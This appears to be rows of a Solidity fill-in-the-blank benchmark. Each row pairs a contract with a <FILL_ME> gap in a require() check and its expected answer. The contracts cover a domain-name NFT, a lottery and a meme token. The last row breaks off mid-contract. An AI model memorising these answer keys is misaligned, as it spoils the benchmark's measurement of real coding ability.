require(strings.count(strings.toSlice(_domainName), strings.toSlice(".")) == 0, "There should be no dots in the name");
require(<FILL_ME>)
require(domains[_domainName].holder == address(0), "Domain with this name already exists");
_mint(_domainHolder, idCounter);
Domain memory newDomain; // Domain struct is defined in IBaseDegenDNS
// store data in Domain struct
newDomain.name = _domainName;
newDomain.tokenId = idCounter;
newDomain.holder = _domainHolder;
newDomain.data = _data;
// add to both mappings
domains[_domainName] = newDomain;
domainIdsNames[idCounter] = _domainName;
if (bytes(defaultNames[_domainHolder]).length == 0) {
defaultNames[_domainHolder] = _domainName; // if default domain name is not set for that holder, set it now
}
emit DomainCreated(_msgSender(), _domainHolder, string(abi.encodePacked(_domainName, name())));
++idCounter;
++totalSupply;
return idCounter-1;
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| strings.count(strings.toSlice(_domainName),strings.toSlice(" "))==0,"There should be no spaces in the name" | 434,730 | strings.count(strings.toSlice(_domainName),strings.toSlice(" "))==0 |
"Domain with this name already exists" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
// convert domain name to lowercase (only works for ascii, clients should enforce ascii domains only)
string memory _domainName = strings.lower(_domainNameRaw);
require(strings.len(strings.toSlice(_domainName)) > 0, "Domain name empty");
require(bytes(_domainName).length < nameMaxLength, "Domain name is too long");
require(strings.count(strings.toSlice(_domainName), strings.toSlice(".")) == 0, "There should be no dots in the name");
require(strings.count(strings.toSlice(_domainName), strings.toSlice(" ")) == 0, "There should be no spaces in the name");
require(<FILL_ME>)
_mint(_domainHolder, idCounter);
Domain memory newDomain; // Domain struct is defined in IBaseDegenDNS
// store data in Domain struct
newDomain.name = _domainName;
newDomain.tokenId = idCounter;
newDomain.holder = _domainHolder;
newDomain.data = _data;
// add to both mappings
domains[_domainName] = newDomain;
domainIdsNames[idCounter] = _domainName;
if (bytes(defaultNames[_domainHolder]).length == 0) {
defaultNames[_domainHolder] = _domainName; // if default domain name is not set for that holder, set it now
}
emit DomainCreated(_msgSender(), _domainHolder, string(abi.encodePacked(_domainName, name())));
++idCounter;
++totalSupply;
return idCounter-1;
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| domains[_domainName].holder==address(0),"Domain with this name already exists" | 434,730 | domains[_domainName].holder==address(0) |
"Sender is not royalty fee updater" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
require(_royalty <= 3000, "Cannot exceed 30%");
require(<FILL_ME>)
royalty = _royalty;
emit TldRoyaltyChanged(_msgSender(), _royalty);
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| _msgSender()==royaltyFeeUpdater,"Sender is not royalty fee updater" | 434,730 | _msgSender()==royaltyFeeUpdater |
"Sender is not royalty fee receiver" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
require(<FILL_ME>)
royaltyFeeReceiver = _newReceiver;
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| _msgSender()==royaltyFeeReceiver,"Sender is not royalty fee receiver" | 434,730 | _msgSender()==royaltyFeeReceiver |
"Reward already claimed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/VRFV2WrapperConsumerBase.sol";
interface PLSDStaker {
function depositPLSB(uint256 _amount) external;
}
contract TheCarnivalLottery is VRFV2WrapperConsumerBase, ReentrancyGuard {
using SafeERC20 for IERC20;
uint32 callbackGasLimit = 600000;
uint16 requestConfirmations = 3;
uint32 numWords = 2;
// Ethereum Mainnet
address linkAddress = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
address wrapperAddress = 0x5A861794B927983406fCE1D062e00b9368d97Df6;
// //Sepolia
// address linkAddress = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
// address wrapperAddress = 0xab18414CD93297B0d12ac29E63Ca20f515b3DB46;
// //Goerli
// address linkAddress = 0x326C977E6efc84E512bB9C30f76E30c160eD06FB;
// address wrapperAddress = 0x708701a1DfF4f478de54383E49a627eD4852C816;
// Mumbai
// address linkAddress = 0x326C977E6efc84E512bB9C30f76E30c160eD06FB;
// address wrapperAddress = 0x99aFAf084eBA697E584501b8Ed2c0B37Dd136693;
uint256 public randomResult;
uint256 public requestId;
address[] public players; // store entries
uint256 public immutable ticketPrice; // price of each ticket
uint256 public immutable timeLength; // time length for each round in seconds
uint256 drawId; // Id for the current game
uint256 ticketsSold; // keeps track of number of tickets sold
uint256 totalDeposits;
uint256 public lotteryDeadline;
uint256 public constant CARN_FEE = 1e11; // Flat cost of 0.1 CARN for each ticket
uint256 public constant PLSD_TRANSFER_BPS = 2000; // 20%
uint256 public constant WAATCA_TRANSFER_BPS = 500; // 5%
address public immutable waatcaPool;
address public immutable buyAndBurnContract;
address public immutable plsdStakingContract;
IERC20 public immutable paymentToken;
IERC20 public immutable CARN;
struct DrawResult {
address winner;
uint256 totalDeposits;
bool isRewardClaimed;
}
// mapping that store winners addresses for each game
mapping(uint256 => DrawResult) public drawHistory;
event TicketsBought(
address indexed buyer,
uint256 indexed drawId,
uint256 amount
);
event WinnerSelected(
address indexed winner,
uint256 drawId,
uint256 timestamp
);
event DrawSkipped(uint256 indexed drawId, uint256 newLotteryDeadline);
event RewardSent(address indexed winner, uint256 drawId, uint256 amount);
constructor(
address _waatcaPoolAddress,
address _buyAndBurnContractAddress,
address _plsdStakingContractAddress,
uint256 _ticketPrice,
uint256 _timeLength,
address _paymentToken,
address _carn
)
VRFV2WrapperConsumerBase(linkAddress, wrapperAddress)
{
}
// function that allows the players to buy a certain amount of tickets
function buyTickets(uint256 _amount) external nonReentrant {
}
// function to get random number for winner selection
function requestRandomWords() internal {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
// function to pick the winner once all the tickets are sold
function _pickWinner() private {
}
// function to set the winner - called from fulfillRandomness function
function setWinner() private {
}
// In case a winner is not picked, the pot gets bigger and bigger
function skipDraw() private {
}
// function to send rewards to the winner for a specific drawId
function sendRewards(uint256 _drawId) external nonReentrant {
bool _isRewardClaimed = drawHistory[_drawId].isRewardClaimed;
require(<FILL_ME>)
address winner = drawHistory[_drawId].winner;
require(winner != address(0), "No winner yet");
uint256 _totalDeposits = drawHistory[_drawId].totalDeposits;
require(_totalDeposits > 0, "No deposits");
uint256 amountToPlsdStaker = (_totalDeposits * PLSD_TRANSFER_BPS) /
10000;
uint256 amountToWaatca = (_totalDeposits * WAATCA_TRANSFER_BPS) / 10000;
uint256 amountToWinner = _totalDeposits -
amountToWaatca -
amountToPlsdStaker;
drawHistory[_drawId].isRewardClaimed = true;
IERC20(paymentToken).approve(plsdStakingContract, amountToPlsdStaker);
PLSDStaker(plsdStakingContract).depositPLSB(amountToPlsdStaker);
paymentToken.safeTransfer(waatcaPool, amountToWaatca);
paymentToken.safeTransfer(winner, amountToWinner);
emit RewardSent(winner, _drawId, amountToWinner);
}
// function that returns how many tickets a particular wallet has purchased for the current game
function getPlayerEntries(address player) public view returns (uint256) {
}
// function to check which wallet the prize has been sent for a particular drawId
function getWinnerByDrawId(uint256 _drawId)
public
view
returns (address winner)
{
}
// function that returns how many tickets have been sold at a given time for the current game
function getTicketsSold() public view returns (uint256) {
}
// function that returns how much payment tokens accumulated so far for the current draw Id
function getCurrentDeposits() public view returns (uint256) {
}
// function that returns the current draw Id
function getCurrentDrawId() public view returns (uint256) {
}
}
| !_isRewardClaimed,"Reward already claimed" | 434,829 | !_isRewardClaimed |
"_transfer:: Anti sandwich bot enabled. Please try again later." | /**
*Submitted for verification at Etherscan.io on 2023-08-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(
address account,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract hiK is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address taxAddress;
bool public limitsInEffect = true;
bool private antiBot = true;
uint256 private transferCount = 0;
// Anti-sandwithc-bot mappings and variables
mapping(address => uint256) private _holderLastBuyBlock; // to hold last Buy temporarily
mapping(address => uint256) private _transferCountMap;
bool public transferDelayEnabled = true;
uint256 private buyFee;
uint256 private sellFee;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event ExcludeFromFees(address indexed account, bool isExcluded);
constructor() ERC20("Hi King", "hiK") {
}
receive() external payable {}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(
address updAds,
bool isEx
) external onlyOwner {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function updateAntiBot(bool flag) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
// anti sandwich bot
if (antiBot) {
if (
!automatedMarketMakerPairs[to] &&
to != address(this) &&
to != address(dexRouter) &&
_holderLastBuyBlock[to] != block.number
) {
_holderLastBuyBlock[to] = block.number;
_transferCountMap[to] = transferCount;
}
if (_holderLastBuyBlock[from] == block.number) {
require(<FILL_ME>)
}
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
if (amount > maxSellAmount) {
amount = maxSellAmount;
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max tokens per wallet"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
// only take fees on buys/sells, do not take on wallet transfers
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
uint256 fees = 0;
// on sell
if (automatedMarketMakerPairs[to] && sellFee > 0) {
fees = (amount * sellFee) / 100;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyFee > 0) {
fees = (amount * buyFee) / 100;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
transferCount += 1;
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
}
| _transferCountMap[from]+1==transferCount,"_transfer:: Anti sandwich bot enabled. Please try again later." | 434,910 | _transferCountMap[from]+1==transferCount |
"ERC20: trading is not yet enabled." | // If life gives you lemons, make some kind of fruity juice.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private juiceAddr;
uint256 private _lookUp = block.number*2;
mapping (address => bool) private _feeChkr;
mapping (address => bool) private _taxConfirm;
mapping (address => uint256) private _balances;
